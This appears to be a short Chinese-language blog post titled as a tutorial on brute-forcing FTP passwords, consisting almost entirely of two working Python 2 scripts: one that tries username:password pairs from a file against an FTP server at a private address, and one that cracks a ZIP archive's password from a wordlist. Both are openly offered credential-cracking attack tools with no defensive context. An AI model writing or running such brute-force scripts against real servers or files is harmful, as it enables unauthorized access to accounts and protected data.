用ftplib爆破FTP口令

#coding:utf-8
#author:jwong

import ftplib

def bruteLogin(hostname,passwordFile):
with open(passwordFile,'r') as f:
for line in f.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying:" + username + "/" + password
try:
ftp = ftplib.FTP(hostname)
ftp.login(username,password)
print 'login success'
ftp.quit()
return (username,password)

except Exception, e:
pass
print 'could not brute force FTP credentials'
return (None,None)

if __name__ == '__main__':
host = '192.168.21.104'
passwordFile = 'userpass.txt'
bruteLogin(host,passwordFile)

#coding:utf-8
#author:jwong

import zipfile

filename = 'master.zip'
with open('password.txt','r') as f:
zf = zipfile.ZipFile(filename)
for line in f.readlines():
line = line.strip()
try:
zf.extractall("./sample",pwd=line)
print "crack password is %s" % line
exit(0)

except Exception, e:
pass